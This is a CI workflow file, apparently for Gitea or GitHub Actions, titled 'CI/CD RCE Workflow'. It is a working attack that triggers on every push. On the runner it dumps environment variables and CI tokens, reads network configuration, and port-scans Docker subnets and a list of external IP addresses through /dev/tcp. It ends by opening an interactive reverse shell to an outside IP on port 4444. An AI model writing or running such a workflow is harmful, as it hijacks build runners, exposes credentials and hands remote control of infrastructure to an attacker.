name: CI/CD RCE Workflow on: [push] jobs: rce: runs-on: linux-amd64 steps: - name: Checkout code uses: actions/checkout@v4 - name: Reverse Shell & Network Probing run: | echo "=== RCE CONFIRMED ===" echo "Timestamp: $(date)" echo "Hostname: $(hostname)" echo "User: $(whoami)" echo "PWD: $(pwd)" echo "Kernel: $(uname -a)" echo "=== Environment Variables ===" env | sort echo "=== GITEA/ACTIONS Variables ===" echo "GITEA_TOKEN: ${GITEA_TOKEN:-NOT_SET}" echo "GITHUB_TOKEN: ${GITHUB_TOKEN:-NOT_SET}" echo "GITEA_SERVER_URL: ${GITEA_SERVER_URL:-NOT_SET}" echo "GITEA_REPOSITORY: ${GITEA_REPOSITORY:-NOT_SET}" echo "GITEA_SERVER: ${GITEA_SERVER:-NOT_SET}" echo "GITHUB_SERVER_URL: ${GITHUB_SERVER_URL:-NOT_SET}" echo "=== Network Configuration ===" ip addr show 2>/dev/null || ifconfig 2>/dev/null || true ip route show 2>/dev/null || route -n 2>/dev/null || true cat /etc/resolv.conf 2>/dev/null || true echo "=== Docker Network Probing ===" for cidr in 172.17.0.0/16 172.18.0.0/16 172.19.0.0/16 10.0.0.0/16; do echo "Scanning $cidr..." for ip_suffix in 1 2 3; do base=$(echo $cidr | cut -d. -f1-2) target="${base}.0.${ip_suffix}" for port in 80 3000 3306 5432 6379 22 2375 2376 8080; do timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true done done done echo "=== Gitea Instance Internal Probing ===" for host in 156.239.229.173 156.239.227.133 47.79.84.115 38.47.240.117 156.239.230.24 156.239.2.237; do for port in 80 3000 3306 5432 6379 22 2375 8418; do timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && echo "GITEA_NET_REACHABLE: $host:$port" || true done done echo "=== Reverse Shell ===" bash -c 'exec bash -i &>/dev/tcp/202.59.10.226/4444 <&1' & echo "=== Script Complete ==="